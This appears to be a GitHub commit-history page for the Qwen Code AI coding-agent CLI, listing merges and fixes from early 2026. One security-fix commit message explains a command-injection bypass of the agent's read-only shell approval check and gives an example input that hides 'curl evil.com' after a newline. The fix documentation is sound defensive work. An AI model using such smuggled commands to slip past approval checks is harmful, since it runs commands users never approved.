Commit graph

1282 commits

Author SHA1 Message Date
pomelo
2ed4ae773e
Merge pull request #1681 from QwenLM/dev/improve-build-and-dev-experience
Some checks are pending
Qwen Code CI / Lint (push) Waiting to run
Qwen Code CI / Test (push) Blocked by required conditions
Qwen Code CI / Test-1 (push) Blocked by required conditions
Qwen Code CI / Test-2 (push) Blocked by required conditions
Qwen Code CI / Test-3 (push) Blocked by required conditions
Qwen Code CI / Test-4 (push) Blocked by required conditions
Qwen Code CI / Test-5 (push) Blocked by required conditions
Qwen Code CI / Test-6 (push) Blocked by required conditions
Qwen Code CI / Test-7 (push) Blocked by required conditions
Qwen Code CI / Test-8 (push) Blocked by required conditions
Qwen Code CI / Post Coverage Comment (push) Blocked by required conditions
Qwen Code CI / CodeQL (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:docker (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:none (push) Waiting to run
E2E Tests / E2E Test - macOS (push) Waiting to run
build: Improve build efficiency and add dev mode
2026-02-04 09:33:46 +08:00
tanzhenxin
7fb45c56d2
Merge pull request #1667 from QwenLM/fix/issue-1666-yaml-formatter-extension-skills
Some checks are pending
Qwen Code CI / Test-3 (push) Blocked by required conditions
Qwen Code CI / Lint (push) Waiting to run
Qwen Code CI / Test (push) Blocked by required conditions
Qwen Code CI / Test-1 (push) Blocked by required conditions
Qwen Code CI / Test-2 (push) Blocked by required conditions
Qwen Code CI / Post Coverage Comment (push) Blocked by required conditions
Qwen Code CI / Test-4 (push) Blocked by required conditions
Qwen Code CI / Test-5 (push) Blocked by required conditions
Qwen Code CI / Test-6 (push) Blocked by required conditions
Qwen Code CI / Test-7 (push) Blocked by required conditions
Qwen Code CI / Test-8 (push) Blocked by required conditions
Qwen Code CI / CodeQL (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:docker (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:none (push) Waiting to run
E2E Tests / E2E Test - macOS (push) Waiting to run
fix: normalize skill file content in extensions to handle BOM and CRLF
2026-02-03 20:44:51 +08:00
tanzhenxin
fdcda77892
Merge pull request #1690 from QwenLM/feature/skill-manager-symlink-support
feat(core): add symlink support for skill manager
2026-02-03 20:41:59 +08:00
Mingholy
b0aa05f578
Merge pull request #1686 from afarber/1394-web-fetch-in-plan-mode
fix(core): auto-enable WebFetch and WebSearch tools in Plan mode
2026-02-03 20:30:32 +08:00
liqoingyu
7e5d1470c8 fix(cli,core): pass abort signal to MCP resource reads 2026-02-03 17:32:24 +08:00
liqoingyu
c8a148b92e fix(cli): expand MCP @server: resource references 2026-02-03 17:22:47 +08:00
DennisYu07
640196e779 merge shutdown 2026-02-02 19:47:24 -08:00
宇溯
781bd7880b rebase and resolve conflict 2026-02-01 23:49:56 -08:00
DragonnZhang
f022252264 feat(core): add symlink support for skill manager
Add support for loading skills from symlinked directories in the skill manager. This allows users to organize and share skills more flexibly by using symbolic links.

Changes:
- Modified skill discovery logic to detect and follow symlinks
- Added validation to ensure symlink targets point to valid directories
- Skip broken or invalid symlinks with appropriate warnings
- Added comprehensive test coverage for symlink scenarios
2026-02-02 14:30:12 +08:00
Alexander Farber
bfdc361b62
Auto-enable WebFetch and WebSearch tools in Plan mode 2026-02-01 23:19:54 +01:00
tanzhenxin
96e49497b8 fix(core): Fix ripgrep vendor path resolution for source files
When vitest loads @qwen-code/qwen-code-core from source files (via alias),
ripgrepUtils.ts failed to find the bundled ripgrep binary because it only
handled bundle and transpiled code paths.

Added detection for source file loading (.ts files in src/utils/) to correctly
resolve the vendor path (2 levels up instead of 3).

Also refactored the path resolution logic to be more concise using levelsUp
calculation.

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-02-01 14:17:08 +08:00
tanzhenxin
b1fa12f323 refactor(core): Unify package exports and improve dev experience
- Update license header to include Qwen copyright
- Add error handler for spawn in dev.js
- Refactor core/src/index.ts to export all public APIs
- Simplify core/index.ts to be a clean re-export
- Fix vitest alias to point to package entry

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-02-01 11:59:05 +08:00
LaZzyMan
47666f79c1 fix: normalize skill file content in extensions to handle BOM and CRLF
- Add normalizeSkillFileContent function to skill-load.ts
- Update regex to allow frontmatter ending without trailing newline
- Add comprehensive tests for CRLF, BOM, and edge cases

Fixes #1666
2026-01-30 11:41:47 +08:00
tanzhenxin
bd900d3668
Merge pull request #1663 from QwenLM/hotfix/v0.8.2
Some checks failed
Qwen Code CI / Lint (push) Has been cancelled
Qwen Code CI / CodeQL (push) Has been cancelled
E2E Tests / E2E Test (Linux) - sandbox:docker (push) Has been cancelled
E2E Tests / E2E Test (Linux) - sandbox:none (push) Has been cancelled
E2E Tests / E2E Test - macOS (push) Has been cancelled
Qwen Code CI / Test (push) Has been cancelled
Qwen Code CI / Test-1 (push) Has been cancelled
Qwen Code CI / Test-2 (push) Has been cancelled
Qwen Code CI / Test-3 (push) Has been cancelled
Qwen Code CI / Test-4 (push) Has been cancelled
Qwen Code CI / Test-5 (push) Has been cancelled
Qwen Code CI / Test-6 (push) Has been cancelled
Qwen Code CI / Test-7 (push) Has been cancelled
Qwen Code CI / Test-8 (push) Has been cancelled
Qwen Code CI / Post Coverage Comment (push) Has been cancelled
fix(core): avoid passing undici agent to Anthropic SDK
2026-01-30 11:05:14 +08:00
mingholy.lmh
202c29c586 fix: fetchOptions for Anthropic SDK 2026-01-30 10:52:49 +08:00
tanzhenxin
48ca2d043e fix(core): avoid passing undici agent to Anthropic SDK
Anthropic's Node client uses node-fetch, which expects a Node http(s).Agent.
Stop providing undici's Dispatcher as httpAgent; only set httpAgent when a proxy
is configured (via https-proxy-agent), otherwise let the SDK use its default.
2026-01-30 10:06:23 +08:00
tanzhenxin
0eb94a2957
Merge pull request #1539 from xuewenjie123/feature/add-context-window-size-config
Some checks are pending
Qwen Code CI / Lint (push) Waiting to run
Qwen Code CI / Test (push) Blocked by required conditions
Qwen Code CI / Test-1 (push) Blocked by required conditions
Qwen Code CI / Test-2 (push) Blocked by required conditions
Qwen Code CI / Test-3 (push) Blocked by required conditions
Qwen Code CI / Test-4 (push) Blocked by required conditions
Qwen Code CI / Test-5 (push) Blocked by required conditions
Qwen Code CI / Test-6 (push) Blocked by required conditions
Qwen Code CI / Test-7 (push) Blocked by required conditions
Qwen Code CI / Test-8 (push) Blocked by required conditions
Qwen Code CI / Post Coverage Comment (push) Blocked by required conditions
Qwen Code CI / CodeQL (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:docker (push) Waiting to run
E2E Tests / E2E Test (Linux) - sandbox:none (push) Waiting to run
E2E Tests / E2E Test - macOS (push) Waiting to run
Add contextWindowSize Configuration Support
2026-01-29 21:28:28 +08:00
tanzhenxin
a41e946dcc test: fix Footer and tokenLimits test failures
- Footer.test.tsx: provide contextWindowSize in mock config to match
  Footer component's new requirement for displaying context usage
- tokenLimits.test.ts: consolidate Kimi K2 tests and update expectations
  to 256K for all variants to match the implementation
2026-01-29 21:13:12 +08:00
tanzhenxin
d67206819a fix(contextWindowSize): fix context window size update on model switch and ACP agent config priority
- Fix contextWindowSize not updating when switching models via setModel()
- Fix ACP agent to respect provider-configured contextWindowSize before auto-detection
- Simplify getTruncateToolOutputThreshold to use static threshold
- Add support for GLM-4.7, Kimi-2.5, and MiniMax-M2.1 models
- Update context usage display to require explicit contextWindowSize

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-01-29 20:51:03 +08:00
tanzhenxin
1c5b74ebd9 Merge branch 'main' into pr-1539 2026-01-29 19:18:23 +08:00
tanzhenxin
201356a6c8 chore: bump version to 0.9.0
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-01-29 18:03:52 +08:00
tanzhenxin
7920ef3e28 fix(core): emit empty tool results for OpenAI/Anthropic
Ensure converters always produce a tool_result/tool message even when the function response output is empty, matching provider requirements.
2026-01-29 17:11:31 +08:00
tanzhenxin
a896fc4a70
Merge pull request #1401 from QwenLM/feat/support-lsp
Add experimental LSP support for code intelligence
2026-01-29 15:03:23 +08:00
tanzhenxin
5f66c20c4e
Merge pull request #1564 from QwenLM/feat/multimodal-input-support
feat: add multi-modal input support (image, PDF, audio) across all content generators
2026-01-29 14:17:19 +08:00
tanzhenxin
532d97670b feat: add extra_body support for OpenAI-compatible providers
Add extra_body configuration option to model.generationConfig for passing
custom parameters to OpenAI-compatible API request bodies.

- Add extra_body to ContentGeneratorConfig type
- Add extra_body to MODEL_GENERATION_CONFIG_FIELDS and ModelGenerationConfig
- Implement extra_body merging in DefaultOpenAICompatibleProvider
- Implement extra_body merging in DashScopeOpenAICompatibleProvider
- Update documentation with examples and provider compatibility notes
- Note: This feature is only for OpenAI-compatible providers (openai, qwen-oauth)

Resolves #1647
Resolves #1644

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-01-29 12:33:54 +08:00
tanzhenxin
93a6de32e6 feat(core): emit video_url content parts for video media
Convert Gemini video parts into OpenAI-compatible `video_url` entries and keep `file` for PDFs.

Co-authored-by: Cursor <cursoragent@cursor.com>
2026-01-29 12:05:27 +08:00
tanzhenxin
68760287bd Merge branch 'main' into feat/multimodal-input-support 2026-01-29 11:44:27 +08:00
tanzhenxin
561be0eb42
Merge pull request #1628 from QwenLM/feat/idealab-retry-improvements
feat(core): improve retry logic for better 429/5xx error handling
2026-01-29 11:43:08 +08:00
tanzhenxin
43ea425278
Merge pull request #1639 from QwenLM/fix/claude-skills-config
Fix Claude plugin resource collection to respect marketplace config
2026-01-29 11:30:49 +08:00
tanzhenxin
b905579e51 chore(core): remove unused fallback handler and improve docs
- Delete orphaned fallback/handler.ts and its tests (no longer imported
  after removing onPersistent429 callback)
- Add JSDoc to getErrorStatus() documenting property check priority
2026-01-29 11:25:41 +08:00
pomelo
55fe676cbe
Merge pull request #1638 from QwenLM/fix/security-newline-command-injection
fix(security): prevent command injection via newline bypass in shell command validation
2026-01-29 11:18:08 +08:00
pomelo
591eab8409
Merge pull request #1626 from QwenLM/fix/acp-subagent-stream-text
fix(acp): stream subagent text + reasoning chunks
2026-01-29 11:09:58 +08:00
pomelo
37f0ca1841
Merge pull request #1623 from QwenLM/feat/skill-tool-feedback-message
feat(core): improve error message when skill is invoked as tool
2026-01-29 11:09:15 +08:00
tanzhenxin
93ed43c916
Merge pull request #1622 from QwenLM/mingholy/fix/acp-auth-type
Fix: Use resolved authType to initialize ACP agent
2026-01-29 11:04:01 +08:00
yiliang114
0dde6ce3ce refactor(lsp): restructure the LSP service import and test configuration 2026-01-29 00:54:59 +08:00
yiliang114
894edc6e4d Merge branch 'main' of https://github.com/QwenLM/qwen-code into feat/support-lsp 2026-01-28 18:54:01 +08:00
LaZzyMan
32e210618c fix: preserve directory structure when collecting Claude plugin resources
- Fixed issue where all skills were installed instead of only configured ones
- Resource paths now preserve subdirectory names (e.g., skills/xlsx -> skills/xlsx/)
- Support default fallback: use all resources from folder if not specified in config
- Added comprehensive tests covering explicit config, default behavior, and nested structures
2026-01-28 11:15:57 +08:00
tanzhenxin
c38c33a3a1 fix(security): treat newlines as command separators to prevent command injection
The splitCommands function only split on &&, ||, ;, &, and | but not on
newlines. This allowed attackers to bypass read-only command checks by
injecting malicious commands after a newline.

For example:
  grep ^Install README.md\ncurl evil.com

The safety check would only see 'grep' (a read-only command), but the
subsequent 'curl' command would execute without approval.

Changes:
- Split on Unix (\n) and Windows (\r\n) newlines in splitCommands
- Handle escaped newlines (\\n) as line continuation
- Filter empty segments from consecutive newlines
- Add comprehensive security tests for multi-command scenarios

Fixes CVE-style command injection vulnerability

Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-01-28 10:23:08 +08:00
mingholy.lmh
37fdee3245 chore: bump version to 0.8.2
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-01-27 21:52:20 +08:00
mingholy.lmh
93b81f5d55 chore: bump version to 0.8.1
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
2026-01-27 21:13:38 +08:00
mingholy.lmh
ebaecc7256 fix: add headersTimeout and unit test 2026-01-27 20:36:45 +08:00
tanzhenxin
ca241bd4da feat(core): improve retry logic for better 429/5xx error handling
- Increase max retry attempts from 5 to 7 for better resilience
- Reduce initial delay from 5000ms to 1500ms for faster recovery
- Simplify getErrorStatus() to handle more status field variations
  (status, statusCode, response.status, error.code)
- Remove model fallback mechanism (onPersistent429 callback)
- Remove isQwenThrottlingError() in favor of generic retry logic
- Clean up retry logging and error handling code

This improves the experience for users on services with throttling
like Idealab by providing more robust and faster retry behavior.

Related to #973
2026-01-27 20:14:13 +08:00
tanzhenxin
76693192c0 fix(acp): exclude thought text from finalText and add core-side tests
- Skip thought parts when accumulating roundText so reasoning content
  does not leak into the subagent's final answer.
- Remove unnecessary `as SubAgentStreamTextEvent` type assertion.
- Add core tests for STREAM_TEXT thought flag and finalText exclusion.
2026-01-27 17:18:31 +08:00
tanzhenxin
8ce176389c fix(acp): stream subagent text chunks (with thoughts)
Propagate `thought` metadata through SubAgent STREAM_TEXT events and render them as agent message/thought chunks in ACP sessions.
2026-01-27 16:59:02 +08:00
mingholy.lmh
6b736291da fix: use ProxyAgent to supress EnvHttpProxyAgent experimental warning 2026-01-27 16:12:55 +08:00
tanzhenxin
84696a885f feat(core): improve error message when skill is invoked as tool
When the model tries to invoke a skill name directly as a tool
(e.g., Tool: "pdf" instead of Tool: "Skill" with skill: "pdf"),
provide a clear error message explaining how to properly invoke skills.

🤖 Generated with [Qoder][https://qoder.com]
2026-01-27 15:12:21 +08:00
mingholy.lmh
2c9399f8e0 fix: use resolved authType to initialize ACP agent 2026-01-27 14:56:22 +08:00
yiliang114
7ec79e6806 feat(lsp): support for loading lspServers configurations from extensions 2026-01-27 11:21:29 +08:00
yiliang114
0bff045d3d Merge branch 'main' of https://github.com/QwenLM/qwen-code into feat/support-lsp 2026-01-26 23:13:53 +08:00
tanzhenxin
2c373c3847
Merge pull request #1586 from QwenLM/fix/vsce-package-no-dependencies
fix(vscode-ide-companion): platform-specific builds with optimized VSIX packaging
2026-01-26 19:41:15 +08:00